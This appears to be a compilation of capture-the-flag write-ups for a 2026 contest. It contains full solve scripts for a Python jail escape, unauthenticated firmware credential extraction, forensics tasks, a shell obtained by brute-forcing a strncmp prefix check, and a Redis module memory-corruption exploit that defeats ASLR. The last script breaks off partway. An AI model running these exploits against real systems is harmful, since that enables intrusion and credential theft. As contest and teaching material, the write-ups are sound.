67jail（Misc） Flag：THJCC{676767676767676767676767676767676767676767676767}

全角标识符 NFKC 归一绕字符黑名单，(()==())+<< 构造数字、chr 链读 /flag；远程含 AI 蜜罐（勿交 API key）。

📜 67jail solve.py（128 行，核心 build_payload@2312 / num_expr@2277）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128


#!/usr/bin/env python3
"""67jail 一键复现：token 认证 → [3] Human → nonce → 发 payload 读任意文件。

用法:
 python3 solve.py [host] [port] [path]
默认:
 host=chal.thjcc.org port=9000 path=/flag

依赖 CTFd API token：环境变量 THJCC_TOKEN 或文件 /tmp/thjcc_api_token（ctfd_ 开头 69 字符）。
payload 生成逻辑内嵌（与 gen_payload.py 一致），无需外部文件。

原理（绕过 5 层过滤）:
 1. len==6767 -> 末尾空格垫齐
 2. 禁 '"_`\\# -> 全程不用这些字符
 3. 禁 ASCII 字母数字 -> 全角字符 ｐｒｉｎｔ/ｏｐｅｎ/ｃｈｒ/ｒｅａｄ（tokenizer NFKC 归一成 ASCII 名，
 从 exec globals 的 __builtins__={print,open,chr} 解析），
 数字用 (()==()) 即 True==1，经 + 与 << 位运算拼出任意整数
 4. ';' <= 1 -> 单表达式，无分号
 5. 禁 NFKC 不变的标识符字符 -> 全角字母的 NFKC 归一后是 ASCII（改变），放行
 字符串字面量被禁 -> chr(<num_expr>) 链拼接路径名
"""
import os
import re
import socket
import sys
import time

DEFAULT_HOST = "chal.thjcc.org"
DEFAULT_PORT = 9000
DEFAULT_PATH = "/flag"
TOKEN_FILE = os.environ.get("THJCC_TOKEN", "/tmp/thjcc_api_token")

ONE = "(()==())" # True == 1


def num_expr(n: int) -> str:
 """只用 ONE/+/<</括号 构造整数 n（二进制分解，位移用递归）。"""
 if n == 0:
 return "(()-())" # False == 0（备用）
 parts = []
 i = 0
 while n:
 if n & 1:
 parts.append(ONE if i == 0 else "(" + ONE + "<<(" + num_expr(i) + "))")
 n >>= 1
 i += 1
 return "+".join(parts)


def string_expr(s: str) -> str:
 """chr 链拼出字符串 s（绕开引号与 ASCII 字母数字）。"""
 return "+".join("ｃｈｒ(" + num_expr(ord(c)) + ")" for c in s)


def build_payload(path: str, total: int = 6767) -> str:
 src = "ｐｒｉｎｔ(ｏｐｅｎ(" + string_expr(path) + ").ｒｅａｄ())"
 assert len(src) <= total, f"payload too long: {len(src)} > {total}"
 return src + " " * (total - len(src)) # 空格垫到 6767


def recv_until(sock, marker: bytes, timeout: float = 10) -> bytes:
 sock.settimeout(timeout)
 buf = b""
 while marker not in buf:
 try:
 d = sock.recv(4096)
 except socket.timeout:
 break
 if not d:
 break
 buf += d
 return buf


def drain(sock, seconds: float) -> bytes:
 sock.settimeout(seconds)
 buf = b""
 try:
 while True:
 d = sock.recv(4096)
 if not d:
 break
 buf += d
 except socket.timeout:
 pass
 return buf


def handshake(sock) -> None:
 """token -> [3] Human -> nonce -> 到达 jail 的 '>> ' 提示符。"""
 tok = open(TOKEN_FILE).read().strip()
 recv_until(sock, b"token: ")
 sock.sendall(tok.encode() + b"\n")
 recv_until(sock, b"number: ")
 sock.sendall(b"3\n") # [3] Human
 buf = recv_until(sock, b"nonce: ")
 m = re.search(rb"Please enter (\d+)", buf)
 if not m:
 raise RuntimeError(f"no nonce in: {buf!r}")
 sock.sendall(m.group(1) + b"\n")
 buf = recv_until(sock, b">> ")
 if b"Correct!!!" not in buf:
 raise RuntimeError(f"gate failed: {buf!r}")


def solve(host: str, port: int, path: str, retries: int = 3) -> str:
 payload = build_payload(path)
 for attempt in range(1, retries + 1):
 try:
 s = socket.create_connection((host, port), timeout=15)
 handshake(s)
 s.sendall(payload.encode() + b"\n")
 out = drain(s, 15)
 s.close()
 return out.decode(errors="replace")
 except (OSError, RuntimeError) as e:
 print(f"[*] attempt {attempt} failed: {e}", file=sys.stderr)
 time.sleep(2)
 raise SystemExit("[-] all attempts failed")


if __name__ == "__main__":
 host = sys.argv[1] if len(sys.argv) > 1 else DEFAULT_HOST
 port = int(sys.argv[2]) if len(sys.argv) > 2 else DEFAULT_PORT
 path = sys.argv[3] if len(sys.argv) > 3 else DEFAULT_PATH
 print(f"[*] {host}:{port} reading {path}", file=sys.stderr)
 resp = solve(host, port, path)
 print(resp)

TeaGod666（Misc） Flag：THJCC{t3ag0d666_h77p5://y0u7u.b3/Dji_wUhFPvo?si=z1B9a-4nShzop-du&t=1577}

未授权 /api/update/package 下发自研固件格式 TEAGOD66（b64 段 offset/len 明文嵌 XOR key teashop-666）→ 解出工厂凭据 → logs?level=debug 吐 flag。

📜 TeaGod666 solve.sh（64 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64


#!/bin/bash
# TeaGod666 one-shot solve (THJCC CTF Summer 2026, Misc, challenge_id=57)
# Usage: bash solve.sh <CTFD_TOKEN> (or: CTFD_TOKEN=<token> bash solve.sh)
#
# Chain:
# 1. CTF-Instancer create -> private router instance
# 2. Unauthenticated GET /api/update/package -> teagod666-update.bin
# 3. Parse custom firmware format: b64 blob at offset 65 len 172 XOR "teashop-666"
# -> JSON with factory creds admin / oolong_tea_666
# 4. Login -> GET /api/system/logs?level=debug -> flag
# 5. Destroy instance
set -u
TOKEN="${1:-${CTFD_TOKEN:-}}"
[ -z "${TOKEN}" ] && { echo "usage: bash solve.sh <ctfd_token>"; exit 1; }
INST="http://chal.thjcc.org:12025"
JAR=$(mktemp /tmp/tg_jar.XXXXXX)
trap 'rm -f "${JAR}" /tmp/tg_pkg_solve.bin' EXIT

# 1. create instance (three-step, same cookie jar to stay on one backend)
curl -s -m 10 -c "$JAR" -b "$JAR" "$INST/" -o /dev/null
curl -s -m 30 -c "$JAR" -b "$JAR" -X POST "$INST/create" \
 -d "token=${TOKEN}&captcha=" -H "Content-Type: application/x-www-form-urlencoded" -o /dev/null
PAGE=$(curl -s -m 10 -b "$JAR" "$INST/")
PORT=$(echo "$PAGE" | grep -o 'chal\.thjcc\.org:[0-9]*' | head -1 | cut -d: -f2)
[ -z "${PORT:-}" ] && { echo "[-] create failed (re-run; instancer is multi-backend)"; exit 1; }
URL="http://chal.thjcc.org:${PORT}"
echo "[+] instance on port ${PORT}, waiting for HTTP..."
for i in $(seq 1 30); do
 code=$(curl -s -m 5 -o /dev/null -w "%{http_code}" "$URL/" 2>/dev/null)
 [ "$code" != "000" ] && break
 sleep 5
done
[ "$code" = "000" ] && { echo "[-] instance dead (crash-loop?)"; exit 1; }

# 2. fetch "signed" firmware package (no auth required)
curl -s -m 10 "$URL/api/update/package?channel=stable" -o /tmp/tg_pkg_solve.bin
echo "[+] firmware package: $(wc -c < /tmp/tg_pkg_solve.bin) bytes"

# 3. decode: b64 payload @offset 65 len 172, XOR key "teashop-666" (embedded in file)
CREDS=$(python3 << 'PYEOF'
import base64, json
data = open('/tmp/tg_pkg_solve.bin', 'rb').read()
assert data[:8] == b'TEAGOD66', "unexpected magic"
b64_off, b64_len = 65, 172 # header fields 4/5
blob = base64.b64decode(data[b64_off:b64_off + b64_len])
key = b'teashop-666'
plain = bytes(c ^ key[i % len(key)] for i, c in enumerate(blob))
info = json.loads(plain.decode('utf-8', 'replace').strip('\x00'))
print(f"{info['username']}\n{info['password']}")
PYEOF
)
USER=$(echo "$CREDS" | sed -n 1p); PW=$(echo "$CREDS" | sed -n 2p)
echo "[+] factory creds recovered: ${USER} / ${PW}"

# 4. login -> debug logs leak flag
curl -s -m 10 -c "$JAR" -b "$JAR" -X POST "$URL/api/login" \
 -H 'Content-Type: application/json' -d "{\"username\":\"${USER}\",\"password\":\"${PW}\"}" | grep -q '"ok": *true' || { echo "[-] login failed"; exit 1; }
FLAG=$(curl -s -m 10 -c "$JAR" -b "$JAR" "$URL/api/system/logs?level=debug" \
 | grep -o 'THJCC{[^}]*}' | head -1)
echo "[+] FLAG: ${FLAG}"

# 5. cleanup
curl -s -m 20 -c "$JAR" -b "$JAR" -X POST "$INST/destroy" -o /dev/null
echo "[+] instance destroyed"

NoNo（Forensics） Flag：THJCC{f0ll0w_th3_str34m_2_th3_h1dd3n_r3p0rt}

日志是藏宝图：唯一异常请求（Host 切 internal.portal + 结尾斜杠 301）重放到活实例。

📜 NoNo solve.py（113 行，核心 analyze_logs@2500 / fetch_hidden_report@2537）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113


#!/usr/bin/env python3
"""THJCC Summer 2026 - NoNo (Forensic) solver.

Solution chain (all steps reproducible from this script):

1. Parse the three NDJSON logs + pcap; verify the dataset is deterministic
 noise except ONE structural anomaly:
 2025-08-15T03:13:24Z 10.0.2.15 Host: internal.portal GET /s3cr3t/rep0rt -> 200
 (the only request whose Host is NOT chal.thjcc.org:50000; path uses zero in
 "rep0rt" vs the decoy /s3cr3t/report "o").
2. The challenge host named in the description (chal.thjcc.org:50000) is a
 LIVE static instance: replay the hidden request with the internal vhost
 Host header -> 301 -> fetch /s3cr3t/rep0rt/ (trailing slash!) -> the
 Quarterly Access Report page contains the flag ("report token").

Usage:
 python solve.py [challenge-dir] [--host chal.thjcc.org] [--port 50000]
"""
import argparse
import http.client
import json
import re
import sys
from collections import Counter
from pathlib import Path

FLAG_RE = re.compile(r"THJCC\{[^}]*\}")


def load_ndjson(path):
 return [json.loads(l) for l in open(path, encoding="utf-8") if l.strip()]


def analyze_logs(base):
 """Verify the anomaly and print the evidence chain."""
 ng = sorted(load_ndjson(base / "nginx-access.ndjson"), key=lambda r: r["@timestamp"])
 ms = load_ndjson(base / "modsec-waf.ndjson")
 pa = load_ndjson(base / "portal-app.ndjson")

 slots = [r["@timestamp"] for r in ng]
 assert len(set(slots)) == len(slots), "double-booked slots?"

 # carousel: rows after the preamble are a 15x30 loop; every column is a
 # function of (url, slot) -> pure noise
 car = [r for r in ng if r["@timestamp"] >= "2025-08-15T03:13:40Z"]
 rounds = [tuple((r["url.original"], r["http.request.method"],
 r["http.response.status_code"], r["http.response.body.bytes"])
 for r in car[i:i + 30]) for i in range(0, len(car), 30)]
 assert len(rounds) == 15 and all(rd == rounds[0] for rd in rounds[1:])
 ips_ok = all(car[i]["source.ip"] == car[i % 8]["source.ip"] for i in range(len(car)))

 # THE anomaly: url.domain != chal.thjcc.org:50000
 odd = [r for r in ng if r["url.domain"] != "chal.thjcc.org:50000"]
 # modsec/portal align to nginx timestamps and are periodic subsets
 ng_ts = {r["@timestamp"] for r in ng}
 assert all(r["@timestamp"] in ng_ts for r in ms + pa)

 print(f"[+] nginx rows: {len(ng)}; carousel 15x30 identical: True; IP==i%8: {ips_ok}")
 print(f"[+] modsec rows: {len(ms)} (7 preamble + 15x18 detectable); "
 f"portal rows: {len(pa)} (17 preamble + 15x13 app routes)")
 print(f"[+] url.domain anomaly rows: {len(odd)}")
 for r in odd:
 print(f" !! {r['@timestamp']} {r['source.ip']} Host={r['url.domain']} "
 f"{r['http.request.method']} {r['url.original']} -> "
 f"{r['http.response.status_code']} ({r['http.response.body.bytes']}B)")
 assert len(odd) == 1 and odd[0]["url.original"] == "/s3cr3t/rep0rt"
 print("[+] decoys in preamble: /flag, /s3cr3t/report (letter o!), /api/v1/flag, /.git/config")
 return odd[0]


def fetch_hidden_report(host, port, path="/s3cr3t/rep0rt"):
 """Replay the hidden request against the live instance (vhost switch).

 Uses http.client so the 301 -> http://internal.portal:50000/... redirect
 is NOT followed automatically (that hostname only resolves inside the
 story); the caller retries with the trailing-slash path instead.
 """
 conn = http.client.HTTPConnection(host, port, timeout=20)
 try:
 conn.request("GET", path, headers={"Host": "internal.portal"})
 resp = conn.getresponse()
 return resp.status, resp.read().decode("utf-8", "replace")
 finally:
 conn.close()


def main():
 ap = argparse.ArgumentParser()
 ap.add_argument("dir", nargs="?", default=str(Path(__file__).parent))
 ap.add_argument("--host", default="chal.thjcc.org")
 ap.add_argument("--port", type=int, default=50000)
 args = ap.parse_args()
 base = Path(args.dir).resolve()

 analyze_logs(base)
 print(f"\n[*] replaying hidden request against live instance {args.host}:{args.port} ...")
 try:
 for path in ("/s3cr3t/rep0rt", "/s3cr3t/rep0rt/"):
 status, body = fetch_hidden_report(args.host, args.port, path)
 m = FLAG_RE.search(body)
 print(f" GET {path} (Host: internal.portal) -> HTTP {status} "
 f"{'FLAG: ' + m.group(0) if m else '(redirect/page, no flag inline)'}")
 if m:
 print(f"\n[+] FLAG: {m.group(0)}")
 return 0
 except OSError as e:
 print(f" network error: {e}")
 print("[-] live instance unreachable or flag moved (offline analysis still valid)")
 return 1


if __name__ == "__main__":
 sys.exit(main())

Man!（Forensics） Flag：THJCC{Man_BA_0ut_Seeyouaga1n_1978}

PNG IEND 后 ZipCrypto 加密 zip + R 通道 LSB 藏密码 SeeYouAgain1978（Kobe 纪念曲 +出生年）。

📜 Man! solve.py（70 行，核心 extract_lsb_password@2618）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70


#!/usr/bin/env python3
"""THJCC Summer 2026 - Man! (Forensics) 一键复现脚本

链：PNG IEND 尾部附加 ZipCrypto 加密 zip（flag.txt）→ R 通道 LSB 藏 zip 密码
 "SeeYouAgain1978"（Kobe 纪念曲 See You Again + 出生年 1978）→ 解密得 flag。

用法：python3 solve.py [final_koby_challenge.png]
依赖：pip install pillow
"""
import struct
import sys
import zipfile
from pathlib import Path

from PIL import Image

PNG_PATH = sys.argv[1] if len(sys.argv) > 1 else "handout/final_koby_challenge.png"


def extract_trailer_zip(png_path: Path) -> bytes:
 """取出 PNG IEND chunk 之后的全部字节（附加 zip）"""
 data = Path(png_path).read_bytes()
 iend = data.rfind(b"IEND")
 assert iend != -1, "no IEND chunk found"
 tail = data[iend + 8 :]
 assert tail.startswith(b"PK\x03\x04"), "no zip in trailer"
 return tail


def extract_lsb_password(png_path: Path) -> str:
 """从 R 通道 LSB 逐行取位，读回首个可打印 ASCII 串（zip 密码）"""
 im = Image.open(png_path).convert("RGB")
 w, h = im.size
 px = im.load()
 bits = []
 for y in range(h):
 for x in range(w):
 bits.append(px[x, y][0] & 1)
 data = bytearray()
 for i in range(0, len(bits) - 7, 8):
 v = 0
 for j in range(8):
 v = (v << 1) | bits[i + j]
 data.append(v)
 out = bytes(data)
 # 截取首个可打印 ASCII 连续段（LSB 后半为图像熵数据，非文本）
 i = 0
 while i < len(out) and (32 <= out[i] < 127 or out[i] in (10, 13)):
 i += 1
 return out[:i].decode("ascii", errors="ignore")


def main() -> None:
 png = Path(PNG_PATH)
 tail = extract_trailer_zip(png)

 password = extract_lsb_password(png)
 print(f"[+] LSB(R) password: {password!r}")

 zpath = png.with_name("_trailer.zip")
 zpath.write_bytes(tail)
 with zipfile.ZipFile(zpath) as zf:
 flag = zf.read("flag.txt", pwd=password.encode()).decode().strip()
 zpath.unlink(missing_ok=True)
 print(f"[+] flag: {flag}")
 assert flag.startswith("THJCC{") and flag.endswith("}")


if __name__ == "__main__":
 main()

Afterimage2（Forensics） Flag：THJCC{hid_k3y5tr0k3_l34k}

usbmon 合成 pcap（linktype 220）：56B 头 + 8B HID report；偶数包击键/奇数包释放。

📜 Afterimage2 solve.py（80 行，核心 parse@2709 / decode@2729）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80


#!/usr/bin/env python3
"""THJCC Summer 2026 - Afterimage2 solve script.

Extracts HID keyboard keystrokes from the USB capture (DLT 220, usbmon mmapped
style, but crafted with a 56-byte header + 8-byte HID report per packet).

Packet layout (per packet):
 [0:8] id (synthetic counter)
 [8:16] type/xfer_type/epnum/devnum/busnum/flags
 [16:24] ts_sec
 [24:32] ts_usec/status
 [32:40] length/len_cap
 [40:48] setup
 [48:56] interval/start_frame
 [64:72] 8-byte HID keyboard report: modifier, reserved, key0..key5
"""
import struct
from pathlib import Path

HERE = Path(__file__).parent

# USB HID usage ID -> character (unshifted / shifted)
HID = {
 0x04: ('a', 'A'), 0x05: ('b', 'B'), 0x06: ('c', 'C'), 0x07: ('d', 'D'),
 0x08: ('e', 'E'), 0x09: ('f', 'F'), 0x0a: ('g', 'G'), 0x0b: ('h', 'H'),
 0x0c: ('i', 'I'), 0x0d: ('j', 'J'), 0x0e: ('k', 'K'), 0x0f: ('l', 'L'),
 0x10: ('m', 'M'), 0x11: ('n', 'N'), 0x12: ('o', 'O'), 0x13: ('p', 'P'),
 0x14: ('q', 'Q'), 0x15: ('r', 'R'), 0x16: ('s', 'S'), 0x17: ('t', 'T'),
 0x18: ('u', 'U'), 0x19: ('v', 'V'), 0x1a: ('w', 'W'), 0x1b: ('x', 'X'),
 0x1c: ('y', 'Y'), 0x1d: ('z', 'Z'),
 0x1e: ('1', '!'), 0x1f: ('2', '@'), 0x20: ('3', '#'), 0x21: ('4', '$'),
 0x22: ('5', '%'), 0x23: ('6', '^'), 0x24: ('7', '&'), 0x25: ('8', '*'),
 0x26: ('9', '('), 0x27: ('0', ')'),
 0x28: ('\n', '\n'), 0x29: ('<ESC>', '<ESC>'), 0x2a: ('<BS>', '<BS>'),
 0x2b: ('\t', '\t'), 0x2c: (' ', ' '),
 0x2d: ('-', '_'), 0x2e: ('=', '+'), 0x2f: ('[', '{'), 0x30: (']', '}'),
 0x31: ('\\', '|'), 0x33: (';', ':'), 0x34: ("'", '"'), 0x35: ('`', '~'),
 0x36: (',', '<'), 0x37: ('.', '>'), 0x38: ('/', '?'),
 0x4f: ('<RIGHT>', '<RIGHT>'), 0x50: ('<LEFT>', '<LEFT>'),
 0x51: ('<DOWN>', '<DOWN>'), 0x52: ('<UP>', '<UP>'),
}

def parse(pcap: Path):
 data = pcap.read_bytes()
 magic, vmaj, vmin, tz, sig, snaplen, net = struct.unpack('<IHHiIII', data[:24])
 assert magic == 0xA1B2C3D4 and net == 220, f"unexpected: {magic:#x} linktype={net}"
 keys = [] # (idx, modifier, hid_usage, report_hex)
 off = 24
 idx = 0
 while off + 16 <= len(data):
 ts_sec, ts_usec, incl, orig = struct.unpack('<IIII', data[off:off + 16])
 pkt = data[off + 16:off + 16 + incl]
 report = pkt[64:72]
 modifier, reserved = report[0], report[1]
 usages = report[2:]
 for u in usages:
 if u:
 keys.append((idx, modifier, u, report.hex(' ')))
 idx += 1
 off += 16 + incl
 return keys

def decode(keys):
 out = []
 for idx, mod, u, _ in keys:
 shifted = bool(mod & 0x02) or bool(mod & 0x20) # left/right shift
 if u in HID:
 ch = HID[u][1 if shifted else 0]
 else:
 ch = f'<?{u:02x}>'
 out.append(ch)
 return ''.join(out)

if __name__ == '__main__':
 keys = parse(HERE / 'usb_capture.pcap')
 print(f"keystroke events: {len(keys)}")
 for k in keys:
 print(f" pkt {k[0]:3d} mod={k[1]:#04x} usage={k[2]:#04x} report={k[3]}")
 flag = decode(keys)
 print(f"\nflag = {flag}")

A Little Penguin’s Starry Sky Observation（Misc） Flag：THJCC{ori=RA5h,Dec+5°}

照片天测定标：本地 astrometry.net 盲解（尺度 115-170 arcsec/pix + Tycho-2 4100 索引）锁定猎户座区域。注意盲解给出的是裁切中心（约 5h36m,+1.2°），flag 答案取维基百科信息框的取整值（RA5h,Dec+5°）。判读部分人工（豁免），流水线 starry-sky/solve.sh：

📜 starry-sky solve.sh（41 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41


#!/bin/bash
# THJCC Summer 2026 - "A Little Penguin's Starry Sky Observation" 一键复现
# 依赖: solve-field (brew install astrometry-net), curl
# 流程: 附件(可选从平台下载) -> 4100 索引系列 -> 盲解 -> 输出 flag
set -e
cd "$(dirname "$0")"

IMG="input.jpg"
if [ ! -f "${IMG}" ]; then
 if [ -f "handout/Starry_Sky_Observation.jpeg" ]; then
 cp handout/Starry_Sky_Observation.jpeg "${IMG}"
 else
 echo "[*] 需要附件 input.jpg（平台下载需 cf_clearance，见简报；本地测试请放入本目录）" >&2
 exit 1
 fi
fi

# 1. 下载 Tycho-2 宽场索引系列 (index-4107..4119, ~250MB)
IDXDIR="idx4100"
if [ ! -d "${IDXDIR}" ] || ! ls "${IDXDIR}"/index-41*.fits >/dev/null 2>&1; then
 mkdir -p "${IDXDIR}"
 echo "[*] 下载 4100 索引系列..."
 for i in 4107 4108 4109 4110 4111 4112 4113 4114 4115 4116 4117 4118 4119; do
 [ -f "${IDXDIR}/index-${i}.fits" ] || \
 curl -sk -m 600 -o "${IDXDIR}/index-${i}.fits" "https://data.astrometry.net/4100/index-${i}.fits"
 done
fi

# 2. 盲解（尺度提示来自腰带几何: 0.032-0.047 deg/px = 115-170 arcsec/pix）
echo "[*] solve-field 盲解..."
OUT=$(solve-field --no-plots --overwrite \
 --scale-units arcsecperpix --scale-low 115 --scale-high 170 \
 --index-dir "${IDXDIR}" "${IMG}" 2>&1 || true)
echo "${OUT}" | grep -E "solved with|Field center|Field size" || true

# 3. 从解算输出提取场中心（= 裁切中心）并给出结论
CENTER=$(echo "${OUT}" | grep -oE "\([0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]+, [+-][0-9]{2}:[0-9]{2}:[0-9]{2}\.[0-9]+\)" | head -1)
echo "[*] 裁切中心 (RA H:M:S, Dec D:M:S) = ${CENTER} (约 5h36m, +1.2°)"
echo "[*] 核心星座: Orion (ori) —— 裁切中心位于猎户座 IAU 边界内 (RA 4h43m-6h26m, Dec -11°..+22.9°)"
echo "[*] 官方中心(维基百科信息框 ra/dec): RA 5h, Dec +5°"
echo "flag: THJCC{ori=RA5h,Dec+5°}"

Pwn（6/6）

Very Security Shell（逻辑漏洞） Flag：THJCC{strnc0mp_1s_n0t_s3cur3}

口令校验是 strncmp(input, enc, strlen(input)) 前缀比较且长度由输入控制； encode 每连接只跑一次、猜错不重编码 → 单字符输入只比 enc[0]，95 个可打印字符内爆破首字符即 system("/bin/sh")。

📜 Very Security Shell solve.py（100 行）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100


#!/usr/bin/env python3
"""THJCC Summer 2026 - Very Security Shell (pwn, 500pts)

Vulnerability (logic flaw):
 * encode() reads 16 random bytes from /dev/urandom and builds a 16-char
 "password" from a custom 94-char alphabet (out[i] = table[v % 94]).
 * It is called exactly ONCE per connection, before the prompt loop.
 * The check is: strncmp(input, enc, strlen(input)) -- a PREFIX comparison
 whose length is the attacker-controlled strlen(input).
 * So submitting a single character only compares enc[0]. Wrong guesses
 loop back to the prompt WITHOUT re-encoding, so the password is fixed
 per connection -> brute-force the first character over all printable
 ASCII (<= 95 tries) and system("/bin/sh") is spawned.

Usage: python3 solve.py [--host HOST] [--port PORT]
 (defaults: chal.thjcc.org 11039)
"""
import argparse
import socket
import sys
import time

HOST_DEFAULT = "chal.thjcc.org"
PORT_DEFAULT = 11039

# all printable ASCII 0x21..0x7e; the real alphabet (94 chars) is a subset
CHARS = [chr(c) for c in range(0x21, 0x7F)]


def recv_until(sock: socket.socket, marker: bytes, timeout: float = 5.0) -> bytes:
 sock.settimeout(timeout)
 data = b""
 try:
 while marker not in data:
 chunk = sock.recv(4096)
 if not chunk:
 break
 data += chunk
 except socket.timeout:
 pass
 return data


def main() -> int:
 ap = argparse.ArgumentParser(description="Very Security Shell exploit")
 ap.add_argument("--host", default=HOST_DEFAULT)
 ap.add_argument("--port", type=int, default=PORT_DEFAULT)
 args = ap.parse_args()

 print(f"[*] connecting to {args.host}:{args.port}")
 s = socket.create_connection((args.host, args.port), timeout=10)
 banner = recv_until(s, b"password:")
 print("[*] banner:", banner.decode(errors="replace").strip().splitlines()[-1])

 # --- brute force the FIRST character of the fixed random password ---
 hit = None
 for c in CHARS:
 s.sendall(c.encode() + b"\n")
 data = recv_until(s, b"password:", timeout=4)
 if b"welcome!" in data: # "You input the right password, welcome!"
 hit = c
 print(f"[+] prefix match on first char {c!r} -> shell!")
 break
 if hit is None:
 print("[-] no match found; last server output:", data[:300])
 s.close()
 return 1

 # --- we now have system("/bin/sh") on the socket ---
 s.sendall(b"id; cat flag.txt\n")
 time.sleep(0.6)
 out = recv_until(s, b"}", timeout=4) # grab flag line
 sys.stdout.buffer.write(out)
 sys.stdout.buffer.flush()

 # interactive pass-through
 try:
 while True:
 line = sys.stdin.buffer.readline()
 if not line:
 break
 s.sendall(line)
 time.sleep(0.2)
 try:
 while True:
 chunk = s.recv(4096)
 if not chunk:
 return 0
 sys.stdout.buffer.write(chunk)
 sys.stdout.buffer.flush()
 except socket.timeout:
 pass
 except (KeyboardInterrupt, EOFError):
 pass
 s.close()
 return 0


if __name__ == "__main__":
 sys.exit(main())

Chronicle（Redis 模块白盒） Flag：THJCC{D0_y0u_KN0W_7h15_15_@_PWN_ch@ll3nge_WH17CH_m4d3_BY_@1???}

(uint8_t)body_length 截断检查（336→80==80 通过）→ 336B 拷入 note[80] 覆盖 task->completion（note@72, completion@152）；ticket = completion ^ rotl64(id·0x9E3779B97F4A7C15, 17) 免费泄基址 → 换成唯一能碰 flag 缓冲的函数。

📜 Chronicle solve.py（203 行，核心 leak_module_base@3037 / build_archive@3068）——点击展开

 1
 2
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134
135
136
137
138
139
140
141
142
143
144
145
146
147
148
149
150
151
152
153
154
155
156
157
158
159
160
161
162
163
164
165
166
167
168
169
170
171
172
173
174
175
176
177
178
179
180
181
182
183
184
185
186
187
188
189
190
191
192
193
194
195
196
197
198
199
200
201
202
203


#!/usr/bin/env python3
"""Chronicle (THJCC CTF Summer 2026) — full exploit chain.

Root cause (src/chronicle.c, command_import):
 if ((uint8_t)body_length > NOTE_CAPACITY) ... // truncation check
 memcpy(task->note, cursor, (size_t)body_length); // body_length up to 336
 body_length=336 -> (uint8_t)336 == 80 <= 80 passes -> 336-byte copy into
 note[80] overwrites task->completion (note offset 80 within the struct:
 note@72, completion@152).

Chain:
 1. chronicle.new + chronicle.show -> ticket leaks completion fn pointer:
 ticket = &commit_annotation ^ rotl64(id * 0x9e3779b97f4a7c15, 17)
 => module base (page-aligned check picks correct arch offsets).
 2. Forge archive with body_length=336; body[80:88] = &materialize_anchor
 (the only code that copies recovery_value [flag] into task->result).
 3. chronicle.import -> corrupted task; timer fires -> result = flag.
 4. chronicle.show -> flag.

Usage: solve.py [host] [port] (default 127.0.0.1 6390)
"""
import socket
import struct
import sys
import time

MASK64 = (1 << 64) - 1
K = 0x9E3779B97F4A7C15

# offsets from identical builds (redis:7.2.15-bookworm, gcc -O2 -fPIC):
ARCHES = {
 "aarch64": {"commit_annotation": 0x840, "materialize_anchor": 0x8A4},
 "x86_64": {"commit_annotation": 0x11B0, "materialize_anchor": 0x1280},
}

NOTE_CAPACITY = 80 # sizeof task->note
